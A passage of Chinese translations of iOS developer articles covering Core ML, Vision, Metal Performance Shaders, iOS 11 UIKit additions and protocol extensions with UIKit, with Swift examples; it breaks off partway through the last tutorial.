否则的话,如果你想要完全的控制权,那么你必须使用 Metal Performance Shader 或 Accelerate 框架 —— 甚至一起使用 —— 来驱动你的模型了! 当然,真正的黑魔法不是 Core ML,而是你的模型。**如果你连模型都没有,Core ML 是没有用的**。而设计和训练一个模型就是机器学习的难点所在…… ### 一个快速示例程序 我写了一个使用了 Core ML 的简单的示例项目,和往常一样,你可以在 GitHub 上找到[源码](https://github.com/hollance/MobileNet-CoreML)。 [![The demo app in action](http://machinethink.net/images/ios11/Demo@2x.png)](http://machinethink.net/images/ios11/Demo@2x.png) 这个示例程序使用了 [MobileNet](https://arxiv.org/abs/1704.04861v1) 架构来分类图片中的猫。 最初这个模型是[用 Caffe 训练](https://github.com/shicai/MobileNet-Caffe)得出的。我花了一点时间来搞清楚如何将它转换到一个 mlmodel 文件,但是一旦我有了这个转换好的模型,便很容易集成到 App 中了([转换脚本](https://github.com/hollance/MobileNet-CoreML/blob/master/Convert/coreml.py)包含在 GitHub 中)。 虽然这个 App 不是很有趣 —— 它只输出了一张静态图片的前五个预测值 —— 但却展示了使用 Core ML 是多么的简单。几行代码就够了。 **注意:** 示例程序在模拟器上工作正常,但是设备上运行就会崩溃。继续阅读来看看为什么会发生这种情况 ;-) 当然,我想知道发生了什么事情。事实证明 **mlmodel** 实际上被编译进应用程序 bundle 的 **mlmodelc** 文件夹中了。这个文件夹里包含了一堆不同的文件,一些二进制文件,一些 JSON文件。所以你你可以看到 Core ML 是如何将 mlmodel 在实际部署到应用中之前进行转换的。 例如,MobileNet Caffe 模型使用了批量归一化(Batch Normalization)层,我验证了这些转换也存在于 **mlmodel** 文件中。但是在编译的 mlmodelc 中,这些批量归一化 layer 似乎就被移除了。这是个好消息:Core ML 优化了该模型。 尽管如此,它似乎可以更好的优化该模型的结构,因为 **mlmodelc** 仍然包含一些不必要的 scaling layer。 当然,我们还处在 iOS 11 beta 1 的版本,Core ML 可能还会改进。也就是说,在应用到 Core ML 之前,还是值得对模型进一步优化的 —— 例如,[通过「folding」操作对 layer 进行批量归一化(Batch Normalization)](http://machinethink.net/blog/object-detection-with-yolo/#converting-to-metal) —— 但这是你必须对你的特性模型进行测量和比较的东西。 还有其他一些你必须检查的:你的模型是否在 CPU 和 GPU 上运行相同。我提到 Core ML 将选择是否在 CPU 上运行模型(使用 Accelerate 框架)或 GPU(使用 Metal )。事实证明,这两个实现可能会有所不同 —— 所以你两个都需要测试! 例如,MobileNet 使用所谓的「depthwise」卷积层。原始模型在 Caffe 中进行训练,Caffe 通过使正常卷积的 `groups` 属性等于输出通道的数量来支持 depthwise 卷积。所得到的 **MobileNet.mlmodel** 文件也一样。这在 iOS 模拟器中工作正常,但它在设备上就会崩溃! 发生这一切的原因是:模拟器使用的是 Accelerate 框架,但是该设备上使用的却是 Metal Performance Shaders。由于 Metal 对数据进行编码方式的特殊性, `MPSCNNConvolution` 内核限制了:不能使 groups 数等于输出通道的数量。噢嚯! 我向 Apple 提交了一个 bug,但是我想说的是:模型能在模拟器上运行正常并不意味着它在设备上运行正常。**一定要测试!** ### 有多快? 我没有办法测试 Core ML 的速度,因为我的全新 10.5 寸 iPad Pro 下个星期才能到(呵呵)。 我感兴趣的是我自己写的 [Forge 库](https://github.com/hollance/Forge)和 Core ML (考虑到我们都是一个早期的测试版)之间运行 MobileNets 之间的性能差异。 敬请关注!当我有数据可以分享时,我会更新这一节内容。 ## Vision 下一个要讨论的事情就是全新的 **Vision** 框架。 你可能已经从它的名字中猜到了,Vision 可以让你执行**计算机视觉**任务。在以前你可能会使用 [OpenCV](http://opencv.org/),但现在 iOS 有自己的 API 了。 [![Happy people with square faces](http://machinethink.net/images/ios11/Vision@2x.png)](http://machinethink.net/images/ios11/Vision@2x.png) Vision 可以执行的任务有以下几种: - 在图像中寻找人脸。然后对每个脸给出一个矩形框。 - 寻找面部的详细特征,比如眼睛和嘴巴的位置,头部的形状等等。 - 寻找矩形形状的图像,比如路标。 - 追踪视频中移动的对象。 - 确定地平线的角度。 - 转换两个图像,使其内容对齐。这对于拼接照片非常有用。 - 检测包含文本的图像中的区域。 - 检测和识别条形码。 Core Image 和 AVFoundation 已经可以实现其中的一些任务,但现在他们都集成在一个具有一致性 API 的框架内了。 如果你的应用程序需要执行这些计算机视觉任务之一,再也不用跑去自己实现或使用别人的库了 - 只需使用 Vision 框架。你还可以将其与 Core Image 框架相结合,以获得更多的图像处理能力。 更好的是:**你可以使用 Vision 驱动 Core ML**,这允许你使用这些计算机视觉技术作为神经网络的预处理步骤。例如,你可以使用 Vision 来检测人脸的位置和大小,将视频帧裁剪到该区域,然后在这部分的面部图像上运行神经网络。 事实上,任何时候当你结合图像或者视频使用 Core ML 时,使用 Vision 都是合理的。原始的 Core ML 需要你确保输入图像是模型所期望的格式。如果使用 Vision 框架来负责调整图像大小等,这会为你节省不少力气。 使用 Vision 来驱动 Core ML 的代码长这个样子: ```swift // Core ML 的机器学习模型 let modelCoreML = ResNet50() ``` ```swift // 将 Core ML 链接到 Vision let visionModel = try? VNCoreMLModel(for: modelCoreML.model) ``` ```swift let classificationRequest = VNCoreMLRequest(model: visionModel) { request, error iniflet observations = request.results as? [VNClassificationObservation] { /* 进行预测 */ } } let handler = VNImageRequestHandler(cgImage: yourImage) try? handler.perform([classificationRequest]) ``` 请注意,`VNImageRequestHandler` 接受一个请求对象数组,允许你将多个计算机视觉任务链接在一起,如下所示: ```swift try? handler.perform([faceDetectionRequest, classificationRequest]) ``` Vision 使计算机视觉变得非常容易使用。 但对我们机器学习人员很酷的事情是,你可以将这些计算机视觉任务的输出输入到你的 Core ML 模型中。 结合 Core Image 的力量,批量图像处理就跟玩儿一样! ## Metal Performance Shaders 我最后一个想要讨论的话题就是 **Metal** —— Apple 的 GPU 编程 API。 我今年为客户提供的很多工作涉及到使用 [Metal Performance Shaders (MPS)](http://machinethink.net/blog/convolutional-neural-networks-on-the-iphone-with-vggnet/) 来构建神经网络,并对其进行优化,从而获得最佳性能。但是 iOS 10 只提供了几个用于创建神经网络的基本 kernel。通常需要编写自定义的 kernel 来弥补这个缺陷。 所以我很开心使用 iOS 11,可用的 kernel 已经增长了许多,更好的是:我们现在有一个用于构建图的 API 了! [![Metal Performance Shaders](http://machinethink.net/images/ios11/Metal@2x.png)](http://machinethink.net/images/ios11/Metal@2x.png) **注意:** 为什么要使用 MPS 而不是 Core ML?好问题!最大的原因是当 Core ML 不支持你想要做的事情时,或者当你想要完全的控制权并获得最大运行速度时。 MPS 中对于机器学习来说的最大的变化是: **递归神经网络**。你现在可以创建 RNN,LSTM,GRU 和 MGU 层了。这些工作在 `MPSImage` 对象的序列上,但也适用于 `MPSMatrix` 对象的序列。这很有趣,因为所有其他 MPS layer 仅处理图像 —— 但显然,当你使用文本或其他非图像数据时,这不是很方便。 **更多数据类型**。以前的权重应该是 32 位浮点数,但现在可以是 16 位浮点数(半精度),8 位整数,甚至是 2 进制数。卷积和 fully-connected 的 layer 可以用 2 进制权重和 2 进制化输入来完成。 **更多的层**。到目前为止,我们不得不采用普通的常规卷积、最大池化和平均池化,但是在 iOS 11 MPS 中,你可以进行扩张卷积(Dilated Convolution)、子像素卷积(Subpixel Convolution)、转置卷积(Transposed Convolution)、上采样(Upsampling)和重采样(Resampling)、L2 范数池化(L2-norm pooling)、扩张最大池化(dilated max pooling),还有一些新的激活函数。 MPS 还没有所有的 Keras 或 Caffe layer 类型,但差距正在缩小... **更方便**。使用 `MPSImages` 总是有点奇怪,因为 Metal 每次以 4 个通道的片段组织数据(因为图像由 `MTLTexture` 对象支持)。但是现在,`MPSImage` 有用于读取和写入数据的方法,这些数据不会让你感到困惑。 `MPSCNNConvolutionDescriptor` 还有一个新方法,可以让你在 layer 上设置批量归一化参数。这意味着你不再需要将批量归一化到卷积层中,而 MPS 会为你处理这些事情。非常方便! **性能改进**。现有的内核变得更快。这总是好消息。 🏎 **图 API**。这是我最关心的消息。手动创建所有 layer 和(临时)图像总是令人讨厌的。现在你可以描述一个图,就像你在Keras 中一样。 MPS 将自动计算出图像需要多大,如何处理填充,如何设置 MPS 内核的 `offset` 等等。甚至可以通过融合不同的 layer 来优化整个图。 看起来所有的 MPS 内核都可以使用 `NSSecureCoding` 进行序列化,这意味着你可以将图保存到文件中,然后将其还原。并且使用这个图来推断现在只是一个单一的方法调用。它不像 Core ML 那么简单,但使用 MPS 绝对比以前好用得多。 有一件事情我目前还不太清楚,那就是我不知道你是否可以编写自己的 kernel 并在这个图中使用。在我客户的工作中,我发现通常需要使用 Metel Shading 语言编写的自定义着色器来进行预处理步骤。据我所知,似乎没有一个「`MPSNNCustomKernelNode`」类。这还要再多研究一下! 结论:用于机器学习的 Metal Performance Shaders 已经在 iOS 11 中变得更加强大,但是大多数开发人员应该转而使用 Core ML(对于那些使用MPS的来说)。 **注意**:新的图 API 使我的 [Forge 库](http://github.com/hollance/Forge)基本上过时了,除非你希望在 App 中继续支持 iOS 10。我将尽快将示例应用移植到新的图 API 上,然后将写一个更详细的博客文章。 ## 杂项 还有一些其他的更新: **Accelerate 框架:** 似乎 [Accelerate 框架中的 BNNS](http://machinethink.net/blog/apple-deep-learning-bnns-versus-metal-cnn/) 并没有获得太多功能上的更新。它终于有了 Softmax 层,但 MPS 却没有新的 layer 类型。也许无关紧要:使用 CPU 进行深层神经网络可能不是一个好主意。也就是说,我喜欢 Accelerate,它有很多好玩的东西。而今年,它确实获得了对稀疏矩阵的更多支持,很棒。 **自然语言处理:** Core ML不仅仅只能处理图像,它还可以处理大量不同类型的数据,包括文本。 使用的 API `NSLinguisticTagger` 类已经存在了一段时间,但是与 iOS 11 相比变得更加有效了。`NSLinguisticTagger` 现在已经能进行语言鉴别,词法分析,词性标注,词干提取和命名实体识别。 我没有什么 NLP 的经验,所以我没办法比较它与其他 NLP 框架的区别,但`NSLinguisticTagger` 看起来相当强大。 如果要将 NLP 添加到 App 中,此 API 似乎是一个好的起点。 ## 都是好消息吗? Apple 向我们开发者提供所有的这些新工具都非常的好,但是大多数 Apple API 都有一些很重要的问题: 1. 闭源 2. 有局限 3. 只有在新 OS 发布时候才会更新 这三个东西加在一起意味着苹果的 API **总会落后**于其他工具。如果 Keras 增加了一个很炫酷的新的 layer 类型,那么在 Apple 更新其框架和操作系统之前,你都没办法将它和 Core ML 一起使用了。 如果某些 API 得到的计算结果并不是你想要的,你没办法简单的进去看看到底是 Core ML 的问题还是模型的问题,再去修复它 —— 你必须绕开 Core ML 来解决这个问题(并不总是可能的);要么就只能等到下一个 OS 发布了(需要你所有的用户进行升级)。 当然我不希望 Apple 放弃他们的秘密武器,但是就像其他大多数机器学习工具开源一样,为什么不让 Core ML 也开源呢? 🙏 我知道这对于 Apple 来说不可能马上发生,但当你决定在 App 中使用机器学习时,要记住上面的这些内容。 **Matthijs Hollemans** 于 2017 年 6 月 11 日 我希望这篇文章对你有所帮助!欢迎通过 Twitter [@mhollemans](https://twitter.com/mhollemans) 或 Email [matt@machinethink.net](mailto:matt@machinethink.net) 联系我。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/ios-11-notable-uikit-additions.md ================================================ > * 原文地址:[iOS 11: Notable UIKit Additions](https://medium.com/the-traveled-ios-developers-guide/ios-11-notable-uikit-additions-92e5eb421c3b) > * 原文作者:本文已获原作者 [Jordan Morgan](https://medium.com/@JordanMorgan10) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[zhangqippp](https://github.com/zhangqippp) > * 校对者:[Danny1451](https://github.com/Danny1451),[atuooo](https://github.com/atuooo) # iOS 11:UIKit 中值得注意的新能力 ![](https://camo.githubusercontent.com/63483ef51131c9e01754955128f5154d1efd4e27/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f323030302f312a3661395976546c4f6d6c34414e466c43413036526e512e6a706567) 本周每个 iOS 开发者都在热切地观看 W.W.D.C. 的宣讲视频 😜 苹果的常用框架又有了新玩法 在苹果的粉丝群体中被称为 #HairForceOne 的 Craig Federighi ,在 48 小时前揭开了 iOS 11 的新面目。毫无疑问我们又有了新的 API 可以研究。相比受到了重点照顾的 iPad ,苹果今年没有给 iPhone 过多的介绍。 趁着还没有忘记,我总结了几条吸引我的新变化,顺序与重要性无关。 #### UIStackView 大家都喜爱的 UIStackView 只得到了一点点改变,但关键是这正是它所需要的。我曾经写过这样一篇文章 [stack view 的结构越复杂就越灵活](https://medium.com/the-traveled-ios-developers-guide/uistackview-a-field-guide-c1b64f098f6d) ,但是在它的强大和神奇的自动布局之外,有一点它做的不够好:改变它子视图之间的间距。 在 iOS 11 中这一点得到了改善。事实上 PSPDFKit 的 [Pete Steinberger](https://twitter.com/steipete) 问大家 UIKit 的改善中什么使我们印象最深刻,我的第一想法是: ![](https://ws2.sinaimg.cn/large/006tNbRwgy1fgdl477eldj30jp06tq3f.jpg) 这个改善可以通过一个新的方法简单地实现: ``` let view1 = UIView() let view2 = UIView() let view3 = UIView() let view4 = UIView() let horizontalStackView = UIStackView(arrangedSubviews: [view1, view2, view3, view4]) horizontalStackView.spacing = 10 // Put another 10 points of spacing after view3 horizontalStackView.setCustomSpacing(10, after: view3) ``` 我自己在使用 stack view 时无数次遇到上面这种场景,非常别扭。在旧版本的 UIStackView 的实现中,你只能将所有的间距设置为一致的值,或者添加一个 “spacer” 视图( API 刚出现时就有的一个非常古老的属性)来添加间距。 如果你的 U.I. 需要以动画的形式增加或减少子视图之间的间距,稍后可以去查询和设置相关参数: let currentPadding = horizontalStackView.customSpacing(after: view3) #### UITableView 在开发者社区中一直有一个争论:table view 是否应该被一个 collection view 的 UITableViewFlowLayout 或者类似的东西取代。在 iOS 11 中,苹果重申了这两种组件是明确独立的两种组件,开发者应该根据场景选择使用哪种组件。 首先,table view 默认你需要自动计算行高,设置了如下属性: tv.estimatedRowHeight = UITableViewAutomaticDimension 这种做法毁誉参半,在解决一些令人头疼的问题的同时,它本身也带来了一些问题(丢帧,内容边距计算问题,滚动条各种乱跳,等等)。 这里注意了,如果你不想遭遇这种行为 —— 你确实有理由不想遭遇它,[你可以像这样倒退回 iOS 10](https://twitter.com/smileyborg/status/871859045925232641): tv.estimatedRowHeight = 0 我们可以以新的方式来给用户在 cell 上左右轻划的动作添加自定义行为,我们还能精确地得到用户是从首部还是尾部轻划。这些跟上下文相关的动作是已存在的 UITableViewRowAction 的加强版,UITableViewRowAction 是在 iOS 8 中添加的: let itemNameRow = 0 func tableView(_ tableView: UITableView, leadingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? { if indexPath.row == itemNameRow { let editAction = UIContextualAction(style: .normal, title: "Edit", handler: { (ac:UIContextualAction, view:UIView, success:(Bool) -> Void) in //do edit //The handler resets the context to its normal state, true shows a visual indication of completion success(true) }) editAction.image = UIImage(named: "edit") editAction.backgroundColor = .purple let copyAction = UIContextualAction(style: .normal, title: "Copy", handler: { (ac:UIContextualAction, view:UIView, success:(Bool) -> Void) in //do copy success(true) }) return UISwipeActionsConfiguration(actions: [editAction, copyAction]) } return nil } 这个代理方法的使用和尾部轻划的使用是一致的。另一个好处是我们可以设置一个默认的轻划动作,用于响应用户向左或向右的长轻划动作,如同原生邮箱中删除邮件时所做的那样: let contextualGroup = UISwipeActionsConfiguration(actions: [editAction, copyAction]) contextualGroup.performsFirstActionWithFullSwipe = true return contextualGroup 这个属性的默认值是 true ,所以你得记得在不需要响应该动作时关掉它,尽管看起来大部分情况都应该响应。 为了不被超过太多,table view 从它的小兄弟(译者注:collection view )那里学了一招,table view 现在可以进行批量更新了: let tv = UITableView() tv.performBatchUpdates({ () -> Void in tv.insertRows/deleteRows/insertSections/removeSections }, completion:nil) #### UIPasteConfiguration 这一部分在 “ What’s New in Cocoa Touch ” 的宣讲中直接激起了我的兴趣。为了粘贴操作**和**支持拖拽数据的传递,现在每个 UIResponder 都有一个粘贴配置的属性: self.view.pasteConfiguration = UIPasteConfiguration() 这个类主要接受粘贴和拖拽的数据,它可以通过传入特定的标识符来限定只接受你想要的数据: //Means this class already knows what UTIs it wants UIPasteConfiguration(forAccepting: UIImage.self) //Or we can specify it at a more granular level UIPasteConfiguration(acceptableTypeIdentifiers:["public.video"]) 而且这些标识符是可变的,所以如果你的应用需要的话,你可以实时地改变它们: let pasteConfig = UIPasteConfiguration(acceptableTypeIdentifiers: ["public.video"]) //Bring on more data pasteConfig.addAcceptableTypeIdentifiers(["public.image, public.item"]) //Or add an instance who already adopts NSItemProviderReading pasteConfig.addTypeIdentifiers(forAccepting: NSURL.self) 现在我们能够轻易的处理拖拽或者粘贴的数据,不论是来自什么系统或者哪个用户,因为在 iOS 11 中所有的 UIResponders 都遵守 [UIPasteConfigurationSupporting](https://developer.apple.com/documentation/uikit/uipasteconfigurationsupporting?changes=latest_minor&language=objc) 协议: override func paste(itemProviders: [NSItemProvider]) { //Act on pasted data } #### 总结 很高兴能写一些关于 iOS 11 的东西。虽然总是有很多新东西等着探索和发现,但正因如此,我想我们可以从软件开发中得到一些满足感,毕竟我们中的许多人因为工作或者兴趣的原因每天都要和这些框架打交道。 W.W.D.C. 还在继续进行,大量的代码向我们汹涌而来,我们又有很多新的框架需要掌握,也有很多样例代码需要阅读。这是个令人兴奋的时刻。不论是新的臃肿的导航条,还是 UIFontMetrics ,或者是拖拽式的 API ,都有大量的新内容等着我们去探索。 来不及说了,快上车 📱 [![](https://ws4.sinaimg.cn/large/006tNbRwgy1fgdl589rw6j30k105et9j.jpg)](https://twitter.com/jordanmorgan10) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/ios-9-tutorial-series-protocol-oriented-programming-with-uikit.md ================================================ > * 原文链接: [iOS 9 系列教程: 使用 UIKit 进行面向协议的编程](http://www.captechconsulting.com/blogs/ios-9-tutorial-series-protocol-oriented-programming-with-uikit) * 原文作者 : [TYLER TILLAGE](http://www.captechconsulting.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [walkingway](https://github.com/walkingway) * 校对者 : * 状态 : 完成 # UIKit 里如何面向协议编程 Swift 中令人耳目一新的「面向协议编程」在 2015 年 WWDC 上一经推出,街头巷尾都在热情洋溢地讨论着**协议扩展**(protocol extensions)---这一激动人心的语言新特性,既然是新特性,第一次接触总要走点弯路。 我已经阅读过无数篇关于 Swift 协议和协议扩展来龙去脉的文章,这些文章无疑都表达了同一个观点:在 Swift 新版图中**协议扩展**拥有绝对主力位置。苹果官方甚至推荐默认使用协议(protocol)来替换类(class),而实现这种方式的关键正是面向协议编程。 但是我读过的这些文章只是把「什么是协议扩展」讲清楚了,并没有揭开「面向协议编程」真正的面纱。尤其是针对日常 UI 的开发,大部分示例代码并没有切合实际的使用场景,也没有利用任何框架。 我想要明确的是:**协议扩展**如何影响现有构建的工程,并且利用这一新特性更好地与 UIKit 协同工作。 现在我们已经拥有了协议扩展,那么在以类为主的 UIKit 中改用基于协议的实现方式是否更有价值。这篇文章我尝试将 Swift 的协议扩展与真实世界的 UI 完美结合,但随着我们进一步探索,就会发现二者的匹配度并不如我们所期望的那样。 ###协议的优势 协议并不是什么新技术,但我们可以使用内置的函数扩展他们,共享内部逻辑,很神奇不是吗?真是个美妙的想法,协议越多代表灵活性越好。一个协议扩展代表可被部署的单一功能模块,并且该模块可以被重载(或不可以)和通过 where 子句与特定类型的代码交互。 > 协议 _Protocols_ 存在的目的让编译器满意就好,但协议扩展 _extensions_ 是一段代码片段,可在整个代码库里共享的有形资产 虽然只可能从一个父类继承,但只要我们需要,可以尽可能多地部署协议扩展。部署一个协议就像是添加一个指令到 Angular.js 里的元素中,我们通过向某些对象注入逻辑从而改变这些对象的行为。协议不再仅仅是一份合同,通过扩展成为了一种可被部署的功能。 ## 如何使用扩展协议 协议扩展的用法非常简单,这篇文章不会教你用法,而是引领你们手握`协议扩展`这一利器在 UKIit 开发领域做一些有价值的尝试。如果你需要火速熟悉基本用法,请参考苹果的官方文档 [Official Swift Documentation on Procotol Extensions](https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID521) ### 协议扩展的局限 在我们开始前,先让我们澄清下**协议扩展**不是什么,有很多事情**协议扩展**是做不了的,这种限制取决于语言自身设计。不过我还是很期待苹果在未来的 Swift 版本更新中解除一些限制。 * 不能在协议扩展里调用来自 Objective-C 的成员 * 不能使用 `where` 字句限定 `struct` 类型 * 不能定义多个以逗号分隔的 `where` 从句,类似于 `if let` 语句 * 不能在协议扩展内部存储动态变量 * 该规则同样适用于非泛型扩展 * 静态变量应该是允许的,但截至 Xcode 7.0 还会打印 "静态存储属性不支持泛型类型" 的错误。 * 与非泛型扩展不同,不能调用 `super` 来执行一个协议扩展 [@ketzusaka](https://twitter.com/ketzusaka) 指出可以通过 `(self as MyProtocol).method()` 来调用 * 因为这个原因,协议扩展没有真正意义上的继承概念 * 不能在多个协议扩展中部署重名的成员方法 * Swift 的运行时只会选择最后部署的协议,而忽略其他的 * 举个例子,如果你有两个协议扩展都实现了相同的方法,那么只有后部署的协议方法的会被实际调用,不能从其他扩展里执行该方法 * 不能扩展可选的协议方法 * 可选协议要求 @objc 标签,不能和协议扩展一起使用 * 不能在同一时刻声明一个协议和他的扩展 * 如果你真的想要声明实现放在一起,那就使用 `extension protocol SomeProtocol {}` 吧,因为声明实现都在同一位置,只提供协议实现就好,声明可以省略。 ## Part 1: 扩展现有UIKit协议 当我第一次学习协议扩展时,首先想到的就是 `UITableViewDataSource` 这个广为人知的数据源协议。我琢磨着如果能向所有部署了 `UITableViewDataSource` 协议的对象都提供默认的实现,岂不是很酷? 如果每个 `UITableView` 都有一组 sections,那么为什么不扩充 `UITableViewDataSource`,然后在同一个位置实现 `numberOfSectionsInTableView:` 方法?如果在所有的 tables 上都需要滑动删除的功能,为什么不在协议扩展里实现 `UITableViewDelegate` 的相关方法? 但就目前来说,这都是不可能的 **我们不能做什么:** 为 Objective-C 协议提供一个默认的实现 UIKit 依旧采用 Objective-C 编译,况且 Objective-C 没有协议扩展的概念。这意味着在真实项目中尽管我们有能力在 UIKit 协议里声明扩展,但是 UIKit 对象并不能看到我们扩展里的方法。 举个例子,如果我们扩充了 `UICollectionViewDelegate` 来实现 `collectionView:didSelectItemAtIndexPath:`。但是当你点击 cell 并不会触发该协议方法,这是因为在 Objective-C 上下文环境中 `UICollectionView` 自己是看不到我们实现的协议方法。如果我们将一个必须实现的 delegate 方法(`collectionView:cellForItemAtIndexPath:`)放到协议扩展中,编译器会向我们抱怨:「声明实现协议的对象」没有遵守 `UICollectionViewDelegate` 协议(因为看不到) Xcode 尝试在我们的协议扩展方法前添加 `@objc` 来解决这一问题,只能说想象总是美好的,现实却很残酷。又冒出一个新错误:「协议扩展中的方法不能应用于 Objective-C」,这才是根本问题所在--协议扩展只适用于 Swift 2.0 以上的版本 **我们能做什么** 添加一个新方法到现有的 Objective-C 协议中 我们能够在 Swift 中直接调用 UIKit 协议扩展里的方法,即使 UIKit 看不见他们。这就意味着尽管我们不能覆盖 _override_ UIKit 已有的协议方法,但是我们能为现有的协议添加新的便利方法。 我承认,不那么令人兴奋,任何属于 Objective-C 的框架代码都不能调用这些方法。但别灰心,我们还有机会。下面一些例子尝试将协议扩展和 UIKit 里存在的协议结合起来。 ### UIKit协议扩展示例 #### 扩展 `UICoordinateSpace` 有时候需要在 Core Graphics 和 UIKit 的坐标系之间进行转换,我们可以添加一个 helper 方法到协议 `UICoordinateSpace` 中,UIView 也遵守该协议 ```swift extension UICoordinateSpace { func invertedRect(rect: CGRect) -> CGRect { var transform = CGAffineTransformMakeScale(1, -1) transform = CGAffineTransformTranslate(transform, 0, -self.bounds.size.height) return CGRectApplyAffineTransform(rect, transform) } } ``` 现在我们的 `invertedRect` 方法可以应用在任何遵守 `UICoordinateSpace` 协议的对象上,我们在绘图代码中使用他: ```swift class DrawingView : UIView { // Example -- Referencing custom UICoordinateSpace method inside UIView drawRect. override func drawRect(rect: CGRect) { let invertedRect = self.invertedRect(CGRectMake(50.0, 50.0, 200.0, 100.0)) print(NSStringFromCGRect(invertedRect)) // 50.0, -150.0, 200.0, 100.0 } } ``` > `UIView` 遵守 `UICoordinateSpace` 协议 #### 扩展 `UITableViewDataSource` 尽管我们不能提供关于 `UITableViewDataSource` 默认的实现方法,但我们依旧可以将全局逻辑放进协议中方便遵守 `UITableViewDataSource` 的对象使用。 ```swift extension UITableViewDataSource { // Returns the total # of rows in a table view. func totalRows(tableView: UITableView) -> Int { let totalSections = self.numberOfSectionsInTableView?(tableView) ?? 1 var s = 0, t = 0 while s < totalSections { t += self.tableView(tableView, numberOfRowsInSection: s) s++ } return t } } ``` 上面的 `totalRows:` 方法可以快速统计 table view 中有多少条目(item),特别是 cell 分散在各个 sections 之中,而又想快速得到一个总条目数时尤其有用。调用该方法的一个绝佳位置就在 `tableView:titleForFooterInSection:` 里: ```swift class ItemsController: UITableViewController { // Example -- displaying total # of items as a footer label. override func tableView(tableView: UITableView, titleForFooterInSection section: Int) -> String? { if section == self.numberOfSectionsInTableView(tableView) - 1 { return String("Viewing %f Items", self.totalRows(tableView)) } return "" } } ``` ####扩展 `UIViewControllerContextTransitioning` 或许你已拜读过我在 iOS 7 出来时写的关于自定义导航栏的[文章](https://www.captechconsulting.com/blogs/ios-7-tutorial-series-custom-navigation-transitions--more),也尝试开始自定义导航栏过渡。这里有一组之前文章使用的方法,让我们统统放进 `UIViewControllerContextTransitioning` 协议里。 ```swift extension UIViewControllerContextTransitioning { // Mock the indicated view by replacing it with its own snapshot. // Useful when we don't want to render a view's subviews during animation, // such as when applying transforms. func mockViewWithKey(key: String) -> UIView? { if let view = self.viewForKey(key), container = self.containerView() { let snapshot = view.snapshotViewAfterScreenUpdates(false) snapshot.frame = view.frame container.insertSubview(snapshot, aboveSubview: view) view.removeFromSuperview() return snapshot } return nil } // Add a background to the container view. Useful for modal presentations, // such as showing a partially translucent background behind our modal content. func addBackgroundView(color: UIColor) -> UIView? { if let container = self.containerView() { let bg = UIView(frame: container.bounds) bg.backgroundColor = color container.addSubview(bg) container.sendSubviewToBack(bg) return bg } return nil } } ``` 我们在 `transitionContext` 对象(`UIViewControllerContextTransitioning`)中执行这些方法,该对象一般作为参数传递给我们的 **animation coordinator**(`UIViewControllerAnimatedTransitioning`): ```swift class AnimationCoordinator : NSObject, UIViewControllerAnimatedTransitioning { // Example -- using helper methods during a view controller transition. func animateTransition(transitionContext: UIViewControllerContextTransitioning) { // Add a background transitionContext.addBackgroundView(UIColor(white: 0.0, alpha: 0.5)) // Swap out the "from" view transitionContext.mockViewWithKey(UITransitionContextFromViewKey) // Animate using awesome 3D animation... } func transitionDuration(transitionContext: UIViewControllerContextTransitioning?) -> NSTimeInterval { return 5.0 } } ``` 比方说我们的应用程序有多个 `UIPageControl` 实例,然后我们复制粘贴一些代码在 `UIScrollViewDelegate` 的实现里让其工作。通过协议扩展我们可以构建全局一种逻辑,调用时仍然使用 `self` ```swift extension UIScrollViewDelegate { // Convenience method to update a UIPageControl with the correct page. func updatePageControl(pageControl: UIPageControl, scrollView: UIScrollView) { pageControl.currentPage = lroundf(Float(scrollView.contentOffset.x / (scrollView.contentSize.width / CGFloat(pageControl.numberOfPages)))); } } ``` 此外,如果我们知道 `Self` 就是 `UICollectionViewController`,那么可以去掉**参数** `scrollView` ```swift extension UIScrollViewDelegate where Self: UICollectionViewController { func updatePageControl(pageControl: UIPageControl) { pageControl.currentPage = lroundf(Float(self.collectionView!.contentOffset.x / (self.collectionView!.contentSize.width / CGFloat(pageControl.numberOfPages)))); } } // Example -- Page control updates from a UICollectionViewController using a protocol extension. class PagedCollectionView : UICollectionViewController { let pageControl = UIPageControl() override func scrollViewDidScroll(scrollView: UIScrollView) { self.updatePageControl(self.pageControl) } } ``` 无可否认的,这些例子有些牵强,事实证明想要扩展现有 UIKit 协议时,我们并没有太多手段,任何努力都有点微不足道。但是,这儿仍有一个问题需要我们面对,就是如何配合现有的 UIKit 设计模式部署自定义的协议扩展。 ## Part 2: 扩展自定义协议 ### MVC 中使用面向协议编程 一个 iOS 应用程序从其核心来看执行三个基本功能,通常描述为 MVC(模型-视图-控制器)模型。所有的 App 所做的不过是对数据进行一些操作并将其显示在屏幕上。 ![](http://www.captechconsulting.com/blogs/library/A9AAC94D44AB4D64B4F2634F2E4AF6B8.ashx?h=480&w=1200) 下面三个例子中,我将会向你们安利**面向协议编程**的设计模式思想,并尝试使用**协议扩展**依次改造 MVC 模式下的三个组件 Model -> Controller -> View。 ### Model 管理中的协议(M) 假设我们要做一个音乐 